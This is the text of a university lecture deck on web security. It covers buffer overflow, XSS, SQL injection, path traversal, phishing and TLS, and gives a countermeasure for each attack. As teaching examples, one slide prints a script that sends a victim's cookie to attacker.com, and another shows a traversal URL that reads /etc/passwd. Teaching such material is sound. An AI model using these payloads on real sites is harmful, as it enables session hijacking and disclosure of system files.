week9
week9
Many of these slides created by Dr. Ralph Grove, Dr. Michele C. Weigle
Outline
• Security Terminology
• Attack Types
• Buffer Overflow, Cross-Site Scripting (XSS), Insider Misuse,
Sniffing, Spoofing, SQL Injection, URL Manipulation,
Phishing
• Transport Layer Security
2
What's Wrong with the Web?
Crime
• 2019: 467,361 complaints with
losses > $3.5 B in the US
• Top crimes: phishing, non-
payment/delivery,
extortion, data breach
8
Threat Model Uses
1.Guide software design
Helps designers to assess the required degree of security
2.Guide testing
Helps testers to know what vulnerabilities to look for
10
Outline
• Security Terminology
• Attack Types
• Buffer Overflow, Cross-Site Scripting (XSS), Insider Misuse,
Sniffing, Spoofing, SQL Injection, URL Manipulation,
Phishing
• Transport Layer Security
11
Buffer
• Buffer: An area in memory where data is held for processing
input buffer
data source
xxxxxxxxxxxxxxxxxxxx
Processor
output buffer
data xxxxxxxxxxxxxxxxxxxx
consumer
12
Buffer Overflow Threat
• Threat: Buffer Overflow
• Vulnerability: An unchecked
input buffer
• Attack: Attacker enters a
long input string that
overruns the available buffer
space, thereby overwriting
executable code or
configuration
13
Buffer Overflow Countermeasures
• For programmers:
• Use a string-safe language (e.g., Java, C#)
• Check the length of every input (C, C++)
• For sysadmins:
• Update all system components (OS, DBMS, etc.) regularly, so that
recent patches are applied immediately
14
Think, Discuss, Explain*
• What indicates that this might be a buffer overflow attack?
http://www.myapp.com/login?
x7afkmvkf85l9keiw7cjaldkfjai4qlmchjsd62jakifui434a090998afdafhq4j
4jalja88sjsdjfhkjhmca83k11jajhk
15
Outline
• Security Terminology
• Attack Types
• Buffer Overflow, Cross-Site Scripting (XSS), Insider Misuse,
Sniffing, Spoofing, SQL Injection, URL Manipulation,
Phishing
• Transport Layer Security
16
Cross-Site Scripting (XSS) Threat
• Threat: Attacker hijacks victim's session
• Vulnerability: Unfiltered input stream
• Attack:
1. Attacker posts malicious HTML+JavaScript on a forum
2. Victim views (downloads) malicious code on forum, and clicks an included link
3. Victim's session cookie is transmitted to Attacker
4. Attacker obtains Victim's sessionId, and hijacks Victim's session
Attacker 1. Forum 2.
Victim
4.
Attacker's Server 3.
17
XSS Attack
http://www.acunetix.com/blog/articles/persistent-cross-site-scripting/
18
XSS Attack
• Malicious Code:
<div id="div1"></div>
<script>
var p = '<p><a href="http://attacker.com?cookie='
+ document.cookie + '">Click here!</p>';
document.getElementById('div1').innerHtml = p;
</script>
• Hyperlink:
Click here!
actually goes to http://attacker.com/?cookie=PHPSESSID=388PKQ838...
19
XSS Countermeasures
1.Filter all input
• reject input containing HTML or JavaScript, or
• change delimiters to HTML entity codes upon input:
< < > > etc.
<a href="..."> becomes <a href="..."> - displayed, not
executed
21
How common are internet attacks?
Live Threat Maps:
• https://livethreatmap.radware.com/
• https://threatmap.checkpoint.com/
• https://attackmap.sonicwall.com/live-attack-map/
• https://cybermap.kaspersky.com/
22
Outline
• Security Terminology
• Attack Types
• Buffer Overflow, Cross-Site Scripting (XSS), Insider Misuse,
Sniffing, Spoofing, SQL Injection, URL Manipulation,
Phishing
• Transport Layer Security
23
Are Cyber attacks limited to personal/theft?
• No, concerns are real and myriad, generally fall into cyberwarfare
and cyber-terrorism categories
• References: https://
www.fortinet.com/resources/cyberglossary/most-notorious-attacks-
in-the-history-of-cyber-warfare
https://
www.csis.org/programs/strategic-technologies-program/significant-
cyber-incidents
24
Hypothesis: the most serious acts of cyber
terrorism are kept secret. Why?
• Cyber Warfare in the Ukraine?
https://www.reuters.com/world/europe/factbox-the-cyber-war-betwe
en-ukraine-russia-2022-05-10
/
Digital interdiction
Propaganda and information blackouts.
Remote control vehicles: air and sea based drones
25
Insider Misuse Threat
• Threat Models typically anticipate external attacks
• Much IT crime is perpetrated by company insiders
(employees)
Attacker
Server
Insider
Firewall
26
Insider Misuse Threat
• Threat: An insider (employee) gains unauthorized access to to
facilities, and steals or manipulates data
• Vulnerability: Lack of internal security, lack of awareness
• Attack: Attacker (insider) logs into server and manipulates data
or software
* demilitarized zone
27
Insider Misuse Countermeasure
• Insiders are blocked from operations servers
(except privileged sysadmins)
DMZ
Attacker Insider
Ops
Server Dev
Server
Firewall
Firewall
28
Think, Discuss, Explain*
1. Why is insider misuse often overlooked in security plans?
29
Outline
• Security Terminology
• Attack Types
• Buffer Overflow, Cross-Site Scripting (XSS), Insider Misuse,
Sniffing, Spoofing, SQL Injection, URL Manipulation,
Phishing
• Transport Layer Security
30
Sniffing Threat
• Threat: Attacker steals
confidential information
• Vulnerability: Unsecured
communication channel
Client
VPN Tunnel
Server
32
Outline
• Security Terminology
• Attack Types
• Buffer Overflow, Cross-Site Scripting (XSS), Insider Misuse,
Sniffing, Spoofing, SQL Injection, URL Manipulation,
Phishing
• Transport Layer Security
33
Spoofing Threat
• Threat: Attacker steals users' login credentials via a false website
Attacker steals credentials, and can then login to the real site.
34
What's wrong with this website?
35
Spoofing Countermeasures
1.User education – never click email links
37
Database Vulnerabilities
• Much of the data held in web servers is stored in databases
• accessed through SQL commands
• Common commands
• CREATE TABLE – creates a new database table
• ALTER TABLE – changes the contents of the table
• INSERT INTO – insert a record into a table
• SELECT * FROM – return data from the table matching some query
• DROP TABLE – delete the table
SQL Injection
• Web forms that are used as input to
SQL database queries are
susceptible to SQL injection attacks
39
SQL Injection
https://xkcd.com/327/
40
Outline
• Security Terminology
• Attack Types
• Buffer Overflow, Cross-Site Scripting (XSS), Insider Misuse,
Sniffing, Spoofing, SQL Injection, URL Manipulation,
Phishing
• Transport Layer Security
41
URL Manipulation Attack
• URL components: scheme:domain:port:resource
e.g., http://www.cs.odu.edu:80/~rgrove/cs312
42
URL Manipulation Attack
• Threat: Attacker gains access to confidential information
• Vulnerability: Unprotected server system resources (excess privilege)
• Attack: Attacker manipulates URL to traverse file system
/
http://www.cs.odu.edu/~rgrove/../../../etc/passwd -home
-rgrove
-secure_html
43
URL Manipulation Countermeasures
1.Filter input to remove '/' and equivalent codes (or '\' for
Win)
44
Outline
• Security Terminology
• Attack Types
• Buffer Overflow, Cross-Site Scripting (XSS), Insider Misuse,
Sniffing, Spoofing, SQL Injection, URL Manipulation,
Phishing
• Transport Layer Security
45
Phishing
• Phishing attacks are used to obtain
sensitive personal information, such
as social security numbers, credit
card numbers, passwords, by
masquerading as a legitimate
website or email.
https://it.sheridancollege.ca/selfhelp/security/images/phishing-samples/amazon-phish.jpg
47
Phishing
Example
actually a link to
www.attacker.com
48
Phishing
http://face-book-tips.blogspot.com/2011/06/phishing-scam-alert-comment-spam-leads.html
49
Phishing Countermeasures
1.Train employees continuously
• do not click links in email or other messages
• confirm unusual, suspicious requests
• require two parties for all financial transactions
50
Spear Phishing
• Phishing attacks targeted at high-level people
52
Outline
• Security Terminology
• Attack Types
• Buffer Overflow, Cross-Site Scripting (XSS), Insider Misuse,
Sniffing, Spoofing, SQL Injection, URL Manipulation,
Phishing
• Transport Layer Security
53
Transport Layer Security (TLS)
• Originally Secure Sockets Layer (SSL)
• SSL developed by Netscape, 1995 TLS
• Replaced by TLS, 1999
• Added Value:
• Message Encryption
54
TLS Server Authentication
• Servers are authenticated by Certificates
2. Server sends
certificate to client via
TLS
Client Server
1. Certificate Authority
Certificate
issues a signed
3. Client verifies Authority
certificate
server's certificate
with CA
55
TLS Server Authentication
• Web browsers ship with 2. Server sends
predefined CA certificates, certificate to
client via TLS
to establish initial trust Client Server
57
TLS Encryption Client Server
• Each message is
encrypt
encrypted / decrypted request
decrypt
• A complete HTTP
transaction requires response encrypt
four encryption/
decryption operations
decrypt
58
Outline
• Security Terminology
• Attack Types
• Buffer Overflow, Cross-Site Scripting (XSS), Insider Misuse,
Sniffing, Spoofing, SQL Injection, URL Manipulation,
Phishing
• Transport Layer Security
59